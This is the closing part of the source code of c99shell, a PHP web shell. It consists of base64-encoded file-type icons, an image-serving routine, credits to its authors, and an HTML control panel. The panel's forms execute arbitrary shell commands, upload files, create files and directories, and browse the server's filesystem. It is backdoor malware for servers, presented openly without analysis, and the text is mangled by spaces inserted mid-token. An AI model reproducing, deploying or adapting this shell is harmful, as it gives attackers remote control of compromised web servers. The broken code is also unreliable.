"MwD/ZgD/mQD/zAD //zMAADMAMzMAZjMAmTMAzDM A/zMzADMzMzMzZjMzmTMzzDM z/zNmADNmMzNm". "ZjNmmTN mzDNm/zOZADOZMzOZZjOZmTO ZzDOZ/zPMADPMMzPMZjPMmTP MzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmY AmWYAzGYA/2YzAGYzM2YzZmY zmWYzzGYz/2ZmAGZmM2ZmZmZ mmWZm". "zGZm/2aZAGaZM2a ZZmaZmWaZzGaZ/2bMAGbMM2b MZmbMmWbMzGbM/2b/AGb/M2b /Zmb/mWb/zGb/". "/5kAAJk AM5kAZpkAmZkAzJkA/5kzAJk zM5kzZpkzmZkzzJkz/5lmAJl mM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5n MAJnMM5nMZpnMmZnMzJnM/5n /AJn/M5n/Zpn/mZn/zJn//8w AAMwA". "M8wAZswAmcwAzMw A/8wzAMwzM8wzZswzmcwzzMw z/8xmAMxmM8xmZsxmmcxmzMx m/8yZAMyZM8yZ". "ZsyZmcy ZzMyZ/8zMAMzMM8zMZszMmcz MzMzM/8z/AMz/M8z/Zsz/mcz /zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8 zmf8zzP8z//9mAP9mM/9mZv9 mmf9mzP9m//+ZAP+ZM/+ZZv+ Zmf+Z". "zP+Z///MAP/MM// MZv/Mmf/MzP/M////AP//M// /Zv//mf//zP///yH5BAEAABA ALAAAAAAJAAoA". "AAgjAP8 JREFQ4D+CCBOiMMhQocKDEBc ujEiRosSBFjFenOhwYUAAOw= =", "sql_button_insert"= > "R0lGODlhDQAMAPcAAAAAA IAAAACAAICAAAAAgIAAgACAg ICAgMDAwP8AAAD/AP//AAAA/ /8A/wD/". "/////wAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA". "AAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAMwAAZgAAmQAAzAAA/wAzA AAzMwAzZgAzmQAzzAAz/wBm" . "AABmMwBmZgBmmQBmzABm/ wCZAACZMwCZZgCZmQCZzACZ/ wDMAADMMwDMZgDMmQDMzADM/ wD/AAD/". "MwD/ZgD/mQD/z AD//zMAADMAMzMAZjMAmTMAz DMA/zMzADMzMzMzZjMzmTMzz DMz/zNmADNmMzNm". "ZjNmm TNmzDNm/zOZADOZMzOZZjOZm TOZzDOZ/zPMADPMMzPMZjPMm TPMzDPM/zP/ADP/MzP/ZjP/" . "mTP/zDP//2YAAGYAM2YAZ mYAmWYAzGYA/2YzAGYzM2YzZ mYzmWYzzGYz/2ZmAGZmM2ZmZ mZmmWZm". "zGZm/2aZAGaZM 2aZZmaZmWaZzGaZ/2bMAGbMM 2bMZmbMmWbMzGbM/2b/AGb/M 2b/Zmb/mWb/zGb/". "/5kAA JkAM5kAZpkAmZkAzJkA/5kzA JkzM5kzZpkzmZkzzJkz/5lmA JlmM5lmZplmmZlmzJlm/5mZ" . "AJmZM5mZZpmZmZmZzJmZ/ 5nMAJnMM5nMZpnMmZnMzJnM/ 5n/AJn/M5n/Zpn/mZn/zJn// 8wAAMwA". "M8wAZswAmcwAz MwA/8wzAMwzM8wzZswzmcwzz Mwz/8xmAMxmM8xmZsxmmcxmz Mxm/8yZAMyZM8yZ". "ZsyZm cyZzMyZ/8zMAMzMM8zMZszMm czMzMzM/8z/AMz/M8z/Zsz/m cz/zMz///8AAP8AM/8AZv8A" . "mf8AzP8A//8zAP8zM/8zZ v8zmf8zzP8z//9mAP9mM/9mZ v9mmf9mzP9m//+ZAP+ZM/+ZZ v+Zmf+Z". "zP+Z///MAP/MM //MZv/Mmf/MzP/M////AP//M ///Zv//mf//zP///yH5BAEAA BAALAAAAAANAAwA". "AAgzA FEIHEiwoMGDCBH6W0gtoUB// 1BENOiP2sKECzNeNIiqY0d/F Bf+y0jR48eQGUc6JBgQADs=" , "up"=> "R0lGODlhFAAUAL MAAAAAAP////j4+OPj493d3c zMzLKysoaGhk1NTf///wAAAA AAAAAAAAAAAAAA". "AAAAAC H5BAEAAAkALAAAAAAUABQAAA R0MMlJq734ns1PnkcgjgXwhc NQrIVhmFonzxwQjnie27jg". "+4Qgy3XgBX4IoHDlMhRvgg FiGiSwWs5XyDftWplEJ+9HQC yx2c1YEDRfwwfxtop4p53PwL KOjvvV". "IXtdgwgdPGdYfn g1IVeJaTIAkpOUlZYfHxEAOw ==", "write"=> "R0lGODlh FAAUALMAAAAAAP///93d3czM zLKysoaGhmZmZl9fXwQEBP// /wAAAAAAAAAAAAAAAAAA". " AAAAACH5BAEAAAkALAAAAAAU ABQAAAR0MMlJqyzFalqEQJuG EQSCnWg6FogpkHAMF4HAJsWh 7/ze". "EQYQLUAsGgM0Wwt3 bCJfQSFx10yyBlJn8RfEMgM9 X+3qHWq5iED5yCsMCl111knD puXfYls+IK61". "LXd+WWEH LUd/ToJFZQOOj5CRjiCBlZaX IBEAOw==", "ext_asp"=> " R0lGODdhEAAQALMAAAAAAIAA AACAAICAAAAAgIAAgACAgMDA wICAgP8AAAD/AP//AAAA//8A /wD/". "/////ywAAAAAEAAQ AAAESvDISasF2N6DMNAS8Bxf l1UiOZYe9aUwgpDTq6qP/IX0 Oz7AXU/1eRgI". "D6HPhzjS eLYdYabsDCWMZwhg3WWtKK4Q rMHohCAS+hABADs=", "ext_ mp3"=> "R0lGODlhEAAQACIA ACH5BAEAAAYALAAAAAAQABAA ggAAAP///4CAgMDAwICAAP// AAAAAAAAAANU". "aGrS7iuK QGsYIqpp6QiZRDQWYAILQQSA 2g2o4QoASHGwvBbAN3GX1qXA +r1aBQHRZHMEDSYCz3fc". " IGtGT8wAUwltzwWNWRV3LDnx YM1ub6GneDwBADs=", "ext_ avi"=> "R0lGODlhEAAQACIA ACH5BAEAAAUALAAAAAAQABAA ggAAAP///4CAgMDAwP8AAAAA AAAAAAAAAANM". "WFrS7iuK QGsYIqpp6QiZ1FFACYijB4RM qjbY01DwWg44gAsrP5QFk24H uOhODJwSU/IhBYTcjxe4". " PYXCyg+V2i44XeRmSfYqsGhA AgA7", "ext_cgi"=> "R0lG ODlhEAAQAGYAACH5BAEAAEwA LAAAAAAQABAAhgAAAJtqCHd3 d7iNGa+HMu7er9GiC6+IOOu9 ". "DkJAPqyFQql/N/Dlhsyy fe67Af/SFP/8kf/9lD9ETv/P Cv/cQ//eNv/XIf/ZKP/RDv/b Lf/cMah6". "LPPYRvzgR+vg x7yVMv/lUv/mTv/fOf/MAv/m cf/NA//qif/MAP/TFf/xp7uZ Vf/WIP/OBqt/Hv/S". "Ev/h P+7OOP/WHv/wbHNfP4VzV7uP Fv/pV//rXf/ycf/zdv/0eUNJ WENKWsykIk9RWMytP//4iEpQ ". "Xv/9qfbptP/uZ93GiNq6 XWpRJ//iQv7wsquEQv/jRAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA". "AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA". "AAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ". "AAAAAAAAAAAAAAAAAAAA AAeegEyCg0wBhIeHAYqIjAEw hoyEAQQXBJCRhQMuA5eSiooG Iwafi4UM". "BagNFBMcDR4F QwwBAgEGSBBEFSwxNhAyGg6W AkwCBAgvFiUiOBEgNUc7w4IC ND8PKCFAOi0JPNKD". "AkUn GTkRNwMS34MBJBgdRkJLCD7q ggEPKxsJKiYTBweJkjhQkk7A hxQ9FqgLMGBGkG8KFCg8JKAi ". "RYtMAgEAOw==", "ext_ cmd"=> "R0lGODlhEAAQACIA ACH5BAEAAAcALAAAAAAQABAA ggAAAP///4CAgMDAwAAAgICA AP//AAAAAANI". "eLrcJzDK CYe9+AogBvlg+G2dSAQAipID 5XJDIM+0zNJFkdL3DBg6HmxW MEAAhVlPBhgYdrYhDQCN". " dmrYAMn1onq/YKpjvEgAADs= ", "ext_cpp"=> "R0lGODlh EAAQACIAACH5BAEAAAUALAAA AAAQABAAgv///wAAAAAAgICA gMDAwAAAAAAAAAAAAANC". " WLPc9XCASScZ8MlKicobBwRk EIkVYWqT4FICoJ5v7c6s3cqr ArwinE/349FiNoFw44rtlqhO L4Ra". "Eq7YrLDE7a4SADs= ", "ext_ini"=> "R0lGODlh EAAQACIAACH5BAEAAAYALAAA AAAQABAAggAAAP///8DAwICA gICAAP//AAAAAAAAAANL". " aArB3ioaNkK9MNbHs6lBKIoC oI1oUJ4N4DCqqYBpuM6hq8P3 hwoEgU3mawELBEaPFiAUAMgY y3VM". "SnEjgPVarHEHgrB4 3JvszsQEADs=", "ext_diz" => "R0lGODlhEAAQAHcAACH5 BAEAAJUALAAAAAAQABAAhwAA AP///15phcfb6NLs/7Pc/+P0 /3J+l9bs". "/52nuqjK5/n/ //j///7///r//0trlsPn/8nn /8nZ5trm79nu/8/q/9Xt/9zw /93w/+j1/9Hr/+Dv". "/d7v /73H0MjU39zu/9br/8ne8tXn +K6/z8Xj/LjV7dDp/6K4y8bl /5O42Oz2/7HW9Ju92u/9/8T3 ". "/+L//+7+/+v6/+/6/9H4 /+X6/+Xl5Pz//+/t7fX08vD/ /+3///P///H///P7/8nq/8fp /8Tl98zr". "/+/z9vT4++n1 /b/k/dny/9Hv/+v4/9/0/9fw /8/u/8vt/+/09xUvXhQtW4KT s2V1kw4oVTdYpDZX". "pVxq hlxqiExkimKBtMPL2Ftvj2OV 6aOuwpqlulyN3cnO1wAAXQAA ZSM8jE5XjgAAbwAAeURBYgAA ". "dAAAdzZEaE9wwDZYpmVv iR49jG12kChFmgYuj6+1xeLn 7Nzj6pm20oeqypS212SJraCy xZWyz7PW". "9c/o/87n/8DX 7MHY7q/K5LfX9arB1srl/2+f zq290U14q7fCz6e2yXum30Fj lClHc4eXr6bI+bTK". "4rfW +NXe6Oby/5SvzWSHr+br8WuK rQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ". "AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA". "AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA". "AAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ". "AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA". "AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA". "AAjg ACsJrDRHSICDQ7IMXDgJx8Ev ZuIcbPBooZwbBwOMAfMmYwBC A2sEcNBjJCMYATLIOLiokocm ". "C1QskAClCxcGBj7EsNHo QAciSCC1mNAmjJgGGEBQoBHi gKENBjhcCBAIzRoGFkwQMNKn yggRSRAg". "2BHpDBUeewRV 0PDHCp4BSgjw0ZGHzJQcEVD4 IEHJzYkBfo4seYGlDBwgTCAA YvFE4KEBJYI4UrPF". "CyII K+woYjMwQQI6Cor8mKEnxR0n AhYKjHJFQYECkqSkSa164IM6 LhLRrr3wwaBCu3kPFKCldkAA ". "Ow==", "ext_doc"=> " R0lGODlhEAAQACIAACH5BAEA AAUALAAAAAAQABAAggAAAP// /8DAwAAA/4CAgAAAAAAAAAAA AANR". "WErcrrCQQCslQA2w OwdXkIFWNVBA+nme4AZCuoln RwkwF9QgEOPAFG21A+Z4sQHO 94r1eJRTJVmq". "MIOrrPSW WZRcza6kaolBCOB0WoxRud0J ADs=", "ext_exe"=> "R0lG ODlhEwAOAKIAAAAAAP///wAA vcbGxoSEhP///wAAAAAAACH5 BAEAAAUALAAAAAATAA4AAAM7 ". "WLTcTiWSQautBEQ1hP+g l21TKAQAio7S8LxaG8x0PbOc rQf4tNu9wa8WHNKKRl4sl+y9 YBuAdEqt". "xhIAOw==", " ext_h"=> "R0lGODlhEAAQAC IAACH5BAEAAAUALAAAAAAQAB AAgv///wAAAAAAgICAgMDAwA AAAAAAAAAAAANB". "WLPc9X CASScZ8MlKCcARRwVkEAKCIB KmNqVrq7wpbMmbbbOnrgI8F+ q3w9GOQOMQGZyJOspnMkKo". "Wq/NknbbSgAAOw==", "ex t_hpp"=> "R0lGODlhEAAQAC IAACH5BAEAAAUALAAAAAAQAB AAgv///wAAAAAAgICAgMDAwA AAAAAAAAAAAANF". "WLPc9X CASScZ8MlKicobBwRkEAGCIA KEqaFqpbZnmk42/d43yroKmL ADlPBis6LwKNAFj7jfaWVR". "UqUagnbLdZa+YFcCADs=", "ext_htaccess"=> "R0lGO DlhEAAQACIAACH5BAEAAAYAL AAAAAAQABAAggAAAP8AAP8A/ wAAgIAAgP//AAAAAAAAAAM6" . "WEXW/k6RAGsjmFoYgNBbE wjDB25dGZzVCKgsR8LhSnprP Q406pafmkDwUumIvJBoRAAAl EuDEwpJ". "AAA7", "ext_h tml"=> "R0lGODlhEwAQALMA AAAAAP///2trnM3P/FBVhrPO 9l6Itoyt0yhgk+Xy/WGp4sXl /i6Z4mfd/HNz". "c////yH5 BAEAAA8ALAAAAAATABAAAAST 8Ml3qq1m6nmC/4GhbFoXJEO1 CANDSociGkbACHi20U3P". " KIFGIjAQODSiBWO5NAxRRmTg gDgkmM7E6iipHZYKBVNQSBSi kukSwW4jymcupYFgIBqL/MK8 KBDk". "Bkx2BXWDfX8TDDaF DA0KBAd9fnIKHXYIBJgHBQOH cg+VCikVA5wLpYgbBKurDqys nxMOs7S1sxIR". "ADs=", " ext_jpg"=> "R0lGODlhEAAQ ADMAACH5BAEAAAkALAAAAAAQ ABAAgwAAAP///8DAwICAgICA AP8AAAD/AIAAAACA". "AAAA AAAAAAAAAAAAAAAAAAAAAAAA AARccMhJk70j6K3FuFbGbULw JcUhjgHgAkUqEgJNEEAgxEci ". "Ci8ALsALaXCGJK5o1AGS BsIAcABgjgCEwAMEXp0BBMLl /A6x5WZtPfQ2g6+0j8Vx+7b4 /NZqgftd". "FxEAOw==", " ext_js"=> "R0lGODdhEAAQA CIAACwAAAAAEAAQAIL///8AA ACAgIDAwMD//wCAgAAAAAAAA AADUCi63CEgxibH". "k0AQs G200AQUJBgAoMihj5dmIxnMJ xtqq1ddE0EWOhsG16m9MooAi SWEmTiuC4Tw2BB0L8FgIAhs" . "a00AjYYBbc/o9HjNniUAA Ds=", "ext_lnk"=> "R0lGO DlhEAAQAGYAACH5BAEAAFAAL AAAAAAQABAAhgAAAABiAGPLM mXMM0y/JlfFLFS6K1rGLWjO" . "NSmuFTWzGkC5IG3TOo/1X E7AJx2oD5X7YoTqUYrwV3/lT HTaQXnfRmDGMYXrUjKQHwAMA GfNRHzi". "Uww5CAAqADOZG kasLXLYQghIBBN3DVG2NWnPR nDWRwBOAB5wFQBBAAA+AFG3N Ak5BSGHEUqwMABk". "AAAgA AAwAABfADe0GxeLCxZcDEK6I UuxKFjFLE3AJ2HHMRKiCQWCA gBmABptDg+HCBZeDAqFBWDG" . "MymUFQpWBj2fJhdvDQhOB C6XF3fdR0O6IR2ODwAZAHPZQ CSREgASADaXHwAAAAAAAAAAA AAAAAAA". "AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA". "AAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA" . "AAAAAAAAAAAAAAAAAAAAA AeZgFBQPAGFhocAgoI7Og8JC gsEBQIWPQCJgkCOkJKUP5eYU D6PkZM5". "NKCKUDMyNTg3A gg2S5eqUEpJDgcDCAxMT06hg k26vAwUFUhDtYpCuwZByBMRR MyCRwMGRkUg0xIf". "1lAeB iEAGRgXEg0t4SwroCYlDRAn4 SmpKCoQJC/hqVAuNGzg8E9RK BEjYBS0JShGh4UMoYASBiUQ" . "ADs=", "ext_log"=> "R 0lGODlhEAAQADMAACH5BAEAA AgALAAAAAAQABAAg////wAAA MDAwICAgICAAAAAgAAA////A AAA". "AAAAAAAAAAAAAAAAA AAAAAAAAAAAAARQEKEwK6UyB zC475gEAltJklLRAWzbClRhr K4Ly5yg7/wN". "zLUaLGBQB V2EgFLV4xEOSSWt9gQQBpRpq xoVNaPKkFb5Eh/LmUGzF5qE3 +EMIgIAOw==", "ext_php"= > "R0lGODlhEAAQAAAAACH5B AEAAAEALAAAAAAQABAAgAAAA AAAAAImDA6hy5rW0HGosffsd TpqvFlg". "t0hkyZ3Q6qloZ 7JimomVEb+uXAAAOw==", "e xt_pl"=> "R0lGODlhFAAUAK L/AP/4/8DAwH9/AP/4AL+/vw AAAAAAAAAAACH5BAEAAAEALA AAAAAUABQAQAMo". "GLrc3g OAMYR4OOudreegRlBWSJ1lqK 5s64LjWF3cQMjpJpDf6//ABA A7", "ext_swf"=> "R0lGOD lhFAAUAMQRAP+cnP9SUs4AAP +cAP/OAIQAAP9jAM5jnM6cY8 6cnKXO98bexpwAAP8xAP/O". "nAAAAP///////wAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAC H5BAEA". "ABEALAAAAAAUAB QAAAV7YCSOZGme6PmsbMuqUC zP0APLzhAbuPnQAweE52g0fD KCMGgoOm4QB4GA". "GBgaT2 gMQYgVjUfST3YoFGKBRgBqPj gYDEFxXRpDGEIA4xAQQNR1NH oMEAACABFhIz8rCncMAGgC". "NysLkDOTSCsJNDJanTUqLq M2KaanqBEhADs=", "ext_ta r"=> "R0lGODlhEAAQAGYAAC H5BAEAAEsALAAAAAAQABAAhg AAABlOAFgdAFAAAIYCUwA8Zw A8Z9DY4JIC". "Wv///wCIWB E2AAAyUJicqISHl4CAAPD4/+ Dg8PX6/5OXpL7H0+/2/aGmsT IyMtTc5P//sfL5/8XF". "Hg BYpwBUlgBWn1BQAG8aIABQhR bfmwDckv+H11nouELlrizipf +V3nPA/40CUzmm/wA4XhVDAA GD". "UyWd/0it/1u1/3NzAP 950P990mO5/7v14YzvzXLrwo XI/5vS/7Dk/wBXov9syvRjwO hatQCHV17p". "uo0GUQBWnP ++8Lm5AP+j5QBUlACKWgA4bj JQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA". "AA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AA". "AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA". "AAAAAAAAAA AAAAAAAAAAAAeegAKCg4SFSx YNEw4gMgSOj48DFAcHEUIZRE YoJDQzPT4/AwcQCQkg". "Gw ipqqkqAxIaFRgXDwO1trcAub q7vIeJDiwhBcPExAyTlSEZOz o5KTUxMCsvDKOlSRscHDweHk Md". "HUcMr7GzBufo6Ay87L u+ii0fAfP09AvIER8ZNjc4QS UmTogYscBaAiVFkChYyBCIiw XkZD2oR3FB". "u4tLAgEAOw ==", "ext_txt"=> "R0lGOD lhEwAQAKIAAAAAAP///8bGxo SEhP///wAAAAAAAAAAACH5BA EAAAQALAAAAAATABAAAANJ". "SArE3lDJFka91rKpA/DgJ3 JBaZ6lsCkW6qqkB4jzF8BS65 44W9ZAW4+g26VWxF9wdowZmz nlEup7". "UpPWG3Ig6Hq/Xm RjuZwkAAA7", "ext_wri"=> "R0lGODlhEAAQADMAACH5BA EAAAgALAAAAAAQABAAg////w AAAICAgMDAwICAAAAAgAAA// //AAAA". "AAAAAAAAAAAAAA AAAAAAAAAAAAAAAARRUMhJkb 0C6K2HuEiRcdsAfKExkkDgBo VxstwAAypduoao". "a4SXT0 c4BF0rUhFAEAQQI9dmebREW8 yXC6Nx2QI7LrYbtpJZNsxgzW 6nLdq49hIBADs=", "ext_xm l"=> "R0lGODlhEAAQAEQAAC H5BAEAABAALAAAAAAQABAAhP ///wAAAPHx8YaGhjNmmabK8A AAmQAAgACA". "gDOZADNm/z OZ/zP//8DAwDPM/wAA/wAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA". "AA AAAAAAAAAAAAAAAAVk4CCOpA id0ACsbNsMqNquAiA0AJzSdl 8HwMBOUKghEApbESBUFQwABI Cx". "OAAMxebThmA4Eocatg nYKhaJhxUrIBNrh7jyt/PZa+ 0hYc/n02V4dzZufYV/PIGJbo KBQkGPkEEQ". "IQA7" ); //For simple size- and speed-optimization. $im gequals = array( "ext_ tar"=>array("ext_tar","e xt_r00","ext_ace","ext_a rj","ext_bz","ext_bz2"," ext_tbz","ext_tbz2","ext _tgz","ext_uu","ext_xxe" ,"ext_zip","ext_cab","ex t_gz","ext_iso","ext_lha ","ext_lzh","ext_pbk","e xt_rar","ext_uuf"), "e xt_php"=>array("ext_php" ,"ext_php3","ext_php4"," ext_php5","ext_phtml","e xt_shtml","ext_htm"), "ext_jpg"=>array("ext_jp g","ext_gif","ext_png"," ext_jpeg","ext_jfif","ex t_jpe","ext_bmp","ext_ic o","ext_tif","tiff"), "ext_html"=>array("ext_h tml","ext_htm"), "ext_ avi"=>array("ext_avi","e xt_mov","ext_mvi","ext_m pg","ext_mpeg","ext_wmv" ,"ext_rm"), "ext_lnk"= >array("ext_lnk","ext_ur l"), "ext_ini"=>array( "ext_ini","ext_css","ext _inf"), "ext_doc"=>arr ay("ext_doc","ext_dot"), "ext_js"=>array("ext_ js","ext_vbs"), "ext_c md"=>array("ext_cmd","ex t_bat","ext_pif"), "ex t_wri"=>array("ext_wri", "ext_rtf"), "ext_swf"= >array("ext_swf","ext_fl a"), "ext_mp3"=>array( "ext_mp3","ext_au","ext_ midi","ext_mid"), "ext _htaccess"=>array("ext_h taccess","ext_htpasswd", "ext_ht","ext_hta","ext_ so") ); if (!$getall) { header("Content-typ e: image/gif"); header ("Cache-control: public" ); header("Expires: ". date("r",mktime(0,0,0,1, 1,2030))); header("Cac he-control: max-age=".(6 0*60*24*7)); header("L ast-Modified: ".date("r" ,filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($i mg,$v)) {$img = $k; brea k;}} if (empty($images [$img])) {$img = "small_ unk";} if (in_array($i mg,$ext_tar)) {$img = "e xt_tar";} echo base64_ decode($images[$img]); } else { foreach($im gequals as $a=>$b) {fore ach ($b as $d) {if ($a ! = $d) {if (!empty($image s[$d])) {echo("Warning! Remove \$images[".$d."]< br>");}}}} natsort($im ages); $k = array_keys ($images); echo "<cen ter>"; foreach ($k as $u) {echo $u.":<img src= \"".$surl."act=img&img=" .$u."\" border=\"1\"><br >";} echo "</center>"; } exit; } if ($act == "about") {echo "<center ><b>Credits:<br>Idea, le ading and coding by tris tram[CCTeaM].<br>Beta-te sting and some tips - Nu kLeoN [AnTiSh@Re tEaM].< br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #65655 5 <a href=\"http://wwp.i cq.com/scripts/contact.d ll?msgto=656555\"><img s rc=\"http://wwp.icq.com/ scripts/online.dll?icq=6 56555&img=5\" border=0 a lign=absmiddle></a>.</b> ";} ?> </td></tr></table ><a bookmark="minipanel" ><br><TABLE style="BORDE R-COLLAPSE: collapse" ce llSpacing=0 borderColorD ark=#666666 cellPadding= 5 height="1" width="100% " bgColor=#333333 border ColorLight=#c0c0c0 borde r=1> <tr><td width="100% " height="1" valign="top " colspan="2"><p align=" center"><b>:: <a href="< ?php echo $surl; ?>act=c md&d=<?php echo urlencod e($d); ?>"><b>Command ex ecute</b></a> ::</b></p> </td></tr> <tr><td width ="50%" height="1" valign ="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act val ue="cmd"><input type=hid den name="d" value="<?ph p echo $dispd; ?>"><inpu t type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($c md); ?>"><input type=hid den name="cmd_txt" value ="1"> <input type=s ubmit name=submit value= "Execute"></form></td><t d width="50%" height="1" valign="top"><center><b >Select: </b><form actio n="<?php echo $surl; ?>a ct=cmd" method="POST"><i nput type=hidden name=ac t value="cmd"><input typ e=hidden name="d" value= "<?php echo $dispd; ?>"> <select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option va lue=\"".htmlspecialchars ($als[1])."\">".htmlspec ialchars($als[0])."</opt ion>";} ?></select><inpu t type=hidden name="cmd_ txt" value="1"> <in put type=submit name=sub mit value="Execute"></fo rm></td></tr></TABLE> <b r> <TABLE style="BORDER- COLLAPSE: collapse" cell Spacing=0 borderColorDar k=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderCo lorLight=#c0c0c0 border= 1> <tr> <td width="50%" height="1" valign="top" ><center><b>:: <a href=" <?php echo $surl; ?>act= search&d=<?php echo urle ncode($d); ?>"><b>Search </b></a> ::</b><form met hod="POST"><input type=h idden name=act value="se arch"><input type=hidden name="d" value="<?php e cho $dispd; ?>"><input t ype="text" name="search_ name" size="29" value="( .*)"> <input type=" checkbox" name="search_n ame_regexp" value="1" c hecked> - regexp <i nput type=submit name=su bmit value="Search"></fo rm></center></p></td> < td width="50%" height="1 " valign="top"><center>< b>:: <a href="<?php echo $surl; ?>act=upload&d=< ?php echo $ud; ?>"><b>Up load</b></a> ::</b><form method="POST" ENCTYPE=" multipart/form-data"><in put type=hidden name=act value="upload"><input t ype="file" name="uploadf ile"><input type=hidden name="miniform" value="1 "> <input type=subm it name=submit value="Up load"><br><?php echo $wd t; ?></form></center></t d> </tr> </table> <br><T ABLE style="BORDER-COLLA PSE: collapse" cellSpaci ng=0 borderColorDark=#66 6666 cellPadding=5 heigh t="1" width="100%" bgCol or=#333333 borderColorLi ght=#c0c0c0 border=1><tr ><td width="50%" height= "1" valign="top"><center ><b>:: Make Dir ::</b><f orm action="<?php echo $ surl; ?>"><input type=hi dden name=act value="mkd ir"><input type=hidden n ame="d" value="<?php ech o $dispd; ?>"><input typ e="text" name="mkdir" si ze="50" value="<?php ech o $dispd; ?>"> <inp ut type=submit value="Cr eate"><br><?php echo $wd t; ?></form></center></t d><td width="50%" height ="1" valign="top"><cente r><b>:: Make File ::</b> <form method="POST"><inp ut type=hidden name=act value="mkfile"><input ty pe=hidden name="d" value ="<?php echo $dispd; ?>" ><input type="text" name ="mkfile" size="50" valu e="<?php echo $dispd; ?> "><input type=hidden nam e="ft" value="edit">&nbs p;<input type=submit val ue="Create"><br><?php ec ho $wdt; ?></form></cent er></td></tr></table> <b r><TABLE style="BORDER-C OLLAPSE: collapse" cellS pacing=0 borderColorDark =#666666 cellPadding=5 h eight="1" width="100%" b gColor=#333333 borderCol orLight=#c0c0c0 border=1 ><tr><td width="50%" hei ght="1" valign="top"><ce nter><b>:: Go Dir ::</b> <form action="<?php echo $surl; ?>"><input type= hidden name=act value="l s"><input type="text" na me="d" size="50" value=" <?php echo $dispd; ?>">& nbsp;<input type=submit value="Go"></form></cent er></td><td width="50%" height="1" valign="top"> <center><b>:: Go File :: </b><form action="<?php echo $surl; ?>"><input t ype=hidden name=act valu e="gofile"><input type=h idden name="d" value="<? php echo $dispd; ?>"><in put type="text" name="f" size="50" value="<?php echo $dispd; ?>"> < input type=submit value= "Go"></form></center></t d></tr></table> <br><TAB LE style="BORDER-COLLAPS E: collapse" height=1 ce llSpacing=0 borderColorD ark=#666666 cellPadding= 0 width="100%" bgColor=# 333333 borderColorLight= #c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="c enter"><b>--[ c99shell v . <?php echo $shver; ?> <a href="<?php echo $sur l; ?>act=about"><u><b>po wered by</b></u></a> Cap tain Crunch Security Tea m | <a href="http://ccte am.ru"><font color="#FF0 000">http://ccteam.ru</f ont></a><font color="#FF 0000"></font> | Generati on time: <?php echo roun d(getmicrotime()-startti me,4); ?> ]--</b></p></t d></tr></table> </body>< /html><?php chdir($lastd ir); c99shexit(); ?> |